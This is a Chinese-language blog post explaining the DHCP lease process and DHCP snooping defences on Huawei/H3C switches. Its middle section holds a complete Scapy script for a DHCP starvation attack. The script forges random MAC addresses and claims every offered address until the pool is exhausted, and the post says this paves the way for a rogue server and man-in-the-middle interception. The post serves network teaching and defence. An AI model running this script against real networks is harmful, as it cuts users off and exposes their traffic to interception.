DHCP协议

DHCP 工作原理

DHCP 采用UDP作为传输协议,DHCP 客户端发送请求消息到 DHCP 服务端的68端口,DHCP 服务端回应应答消息发送给客户端的67端口。

只有和 DHCP 客户端在同一个网段的 DHCP 服务器才能收到 DHCP 客户广播报文;不同网段的情况下,需要采用DHCP 中继来转发DHCP报文。

在 DHCP 客户端看来,DHCP 中继就像 DHCP 服务器;在 DHCP 服务器看来,DHCP 中继就像 DHCP 客户端。

第一步:发现阶段(Discover)

首次接入网络的 DHCP 客户端不知道 DHCP 服务器的地址,为了学习到服务器的 IP 地址,客户端会以广播方式发送DHCP Discover报文,源 IP 地址0.0.0.0、目的IP地址255.255.255.255DHCP Discover报文中携带了客户端的 MAC 地址、需要请求的参数列表(option55)、广播标志位(flag)等信息。

第二步:提供阶段 (Offer)

与 DHCP 客户端位于同一网段的 DHCP 服务器都会接收到DHCP DISCOVER报文,服务器选择一个地址池中可用的地址,发送DHCP OFFER报文发送给客户端,源 IP 地址为 DHCP 服务器地址,目的 IP 地址为分配给客户端的地址。通常,服务器的地址池中会指定 IP 地址的租期,如果客户端发送的DHCP DISCOVER报文中携带了期望租期,服务器会将客户端请求的期望租期与其指定的租期进行比较,选择其中时间较短的租期分配给客户端。

需要注意的是,在发送DHCP OFFER报文之前,DHCP 服务器会先发送一个源地址为 DHCP 服务器地址、目的 IP 地址为欲分配出去的地址的ECHO REQUEST ICMP 报文,来进行冲突检测。如果一段时间内没有接收到应答报文,才发送DHCP OFFER报文;如果收到了应答报文,则表示 IP 地址冲突,把此地址列为冲突地址,然后等待重新接收到DHCP DISCOVER报文,按照优先顺序重新分配可用的 IP 地址。

其次要注意的是,此阶段 DHCP 服务器分配给客户端的 IP 地址,不一定是最终确定使用的 IP 地址。因为DHCP OFFER报文发送给客户端等待 16 秒后如果没有收到客户端的响应,此地址就可以被继续分配给其它客户端。需要经过下面的选择和确认阶段,才能确定客户端最终可以使用的 IP 地址。

第三步:选择阶段(Request)

DHCP 客户端广播发送DHCP REQUEST报文,响应 DHCP 服务器发送的 offer 报文,在报文中的option 54中会写上被选中的服务器的 IP 地址,因为可能存在多个服务器的 offer。并在option 50中写上 DHCP 服务器分配的 IP 地址,用于检测 IP 地址可用性,防止 IP 地址冲突。

第四步:确认阶段(Ack)

当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST报文后,DHCP服务器回应DHCP ACK报文,表示DHCP REQUEST报文中请求的 IP 地址可以分配给客户端使用。

DHCP 客户端收到DHCP ACK报文,会广播发送免费ARP报文,探测本网段中是否有其它终端使用服务器分配的 IP 地址,如果指定时间内没有收到回应,表示客户端可以使用此地址;如果收到了回应,表示 IP 地址将会冲突,客户端发送DHCP DECLINE报文给服务器。同时,DHCP 服务器将这个 IP 列为冲突地址,不再分配出去。

当 DHCP 服务器收到 DHCP 客户端发送的DHCP REQUEST报文后,如果 DHCP 服务器由于某些原因(例如协商出错或者由于发送 REQUEST 过慢导致服务器已经把此地址分配给其他客户端)无法分配DHCP REQUEST报文中Option50填充的 IP 地址,则广播发送DHCP NAK报文作为应答,通知 DHCP 客户端无法分配此 IP 地址。DHCP 客户端需要重新发送 DHCP DISCOVER 报文来申请新的 IP 地址。

注:

  1. DHCP服务器可以排除不想分配的 IP 地址,来避免 IP 地址冲突。

  2. DHCP 服务器在地址池中为客户端分配 IP 地址的顺序(优先级)如下:
    2.1.DHCP 服务器上已配置的与客户端 MAC 地址静态绑定的 IP 地址。
    2.2.客户端发送的DHCP DISCOVER报文中Option50(请求 IP 地址选项)指定的地址。
    2.3.地址池内查找Expired状态的IP地址,即曾经分配给客户端的超过租期的 IP 地址。
    2.4.在地址池内随机查找一个Idle状态的IP地址。
    2.5.如果未找到可供分配的 IP 地址,则地址池依次自动回收超过租期的(Expired状态)和处于冲突状态(Conflict状态)的IP地址。回收后如果找到可用的 IP 地址,则进行分配;否则,DHCP 客户端等待应答超时后,重新发送 DHCP DISCOVER 报文来申请 IP 地址。

DHCP 攻击

import random
import binascii
import threading
from scapy.all import *

def dhcp_d(src_mac):##构造discover报文
    dhcpDiscover = Ether(
        src = src_mac,#本机MAC
        dst = 'FF:FF:FF:FF:FF:FF'
    )/IP( 
        src = '0.0.0.0',#源ip
        dst = '255.255.255.255'#目的ip地址
    )/UDP(
        sport = 68,
        dport = 67
    )/BOOTP(
        chaddr = binascii.unhexlify(src_mac.replace(':',''))
    )/DHCP(
        options = [
            ("message-type","discover"),"end"]
    )

    return dhcpDiscover

def dhcp_r(src_mac,server_ip,wanna_ip):##构造request报文
    dhcpRequest = Ether(
        src = src_mac,#本机MAC
        dst = 'FF:FF:FF:FF:FF:FF'
    )/IP( 
        src = '0.0.0.0',#源ip
        dst = '255.255.255.255'#目的ip地址
    )/UDP(
        sport = 68,
        dport = 67
    )/BOOTP(
        chaddr = binascii.unhexlify(src_mac.replace(':',''))
    )/DHCP(
        options = [
            ("message-type","request"),
            ("server_id",server_ip),
            ("requested_addr",wanna_ip),"end"]
    )

    return dhcpRequest

def postPacket(src_mac,eth):##发送discover报文
    sendp(dhcp_d(src_mac),iface=eth)

def postPacket2(src_mac,server_ip,wanna_ip,eth):##发送request报文
    if server_ip != None :##如果server_ip为空(没抓到包),则不发送
        sendp(dhcp_r(src_mac,server_ip,wanna_ip),iface=eth)

def CatchPacket(eth):##抓包
    sniff(prn=lambda x : returnIP(x),filter=f'src port 67',count=1,iface=eth,timeout=1.5)

def returnIP(x):##抓取offer报文,获取DHCP服务器的IP,和它分配出来的IP地址
    global server_ip,wanna_ip
    server_ip = x.payload.src
    wanna_ip = x.payload.dst
    print(server_ip,wanna_ip)
    return server_ip,wanna_ip

if __name__ == '__main__':
    eth = 'ASIX AX88179A USB 3.2 Gen1 to Gigabit Ethernet Adapter'##网卡名称,根据实际情况修改
    mac_dict = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']
    for i in range(1,2540):
        server_ip,wanna_ip = None,None

        ### 随机生成mac地址
        src_mac = '50:2B:73:'
        src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
        src_mac += random.choice(mac_dict) + random.choice(mac_dict) + ":"
        src_mac += random.choice(mac_dict) + random.choice(mac_dict)

        t1 = Thread(target=CatchPacket,args=(eth,))#进程1,抓包
        t2 = Thread(target=postPacket,args=(src_mac,eth,))#进程2,发送discover报文

        t1.start()#开启线程1
        t2.start()

        t2.join()#等待线程2结束
        t1.join()

        t3 = Thread(target=postPacket2,args=(src_mac,server_ip,wanna_ip,eth,))#线程3,发送request报文
        t3.start()
        t3.join()

原理:

  1. 先发送discover报文,利用sniff库抓取 DHCP 服务器的 IP 地址和它分配出来的 IP 地址
  2. 再发送request报文,向服务器请求刚才分配的地址。
  3. 重复以上过程,不断伪造新的 MAC 地址,并向 DHCP 服务器请求分配下来的地址,直到 DHCP 服务器地址池耗尽。此时攻击者可以通过建立一台虚假的 DHCP 服务器,给局域网中的设备分配 IP 地址,设备必须通过攻击者的服务器才能转发数据,从而实现中间人攻击。

DHCP 防御

可以在交换机/路由器上配置Dhcp snooping功能,将连接 DHCP 服务器的端口设置为信任端口,其他端口设置为非信任端口。以 Huawei/H3C 设备为例:

1.在系统视图执行 dhcp snooping enable 命令,使能dhcp snooping,然后在接口或 vlan 视图下执行 dhcp snooping enable 命令,开启下方接口的 dhcp snooping 功能。

2.启用DHCP Snooping功能后,必须将交换机上的端口设置为信任(Trust)和非信任(Untrust)状态,交换机 只转发信任端口的 DHCP OFFER/ACK/NAK 报文,丢弃非信任端口的 DHCP OFFER/ACK/NAK 报文,从而达到阻断非法 DHCP 服务器的目的。在接口下执行 dhcp snooping trusted 命令,配置信任接口,这样就不会检查此接口接收到的 dhcp 报文,进而保证终端只能从这个接口连接的合法 dhcp 服务器获取 IP地址。

此外,DHCP Snooping还会监听经过本机的 DHCP 数据包,提取其中的关键信息并生成DHCP Binding Table记录表,一条记录包括 IP、MAC 地址、租约时间、端口、VLAN、类型等信息,结合DAI(Dynamic ARP Inspection)IPSG(IP Source Guard)可实现 ARP 防欺骗和 IP 流量控制功能。

posted @   Désiré  阅读(166)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
· AI 智能体引爆开源社区「GitHub 热点速览」
点击右上角即可分享
微信分享提示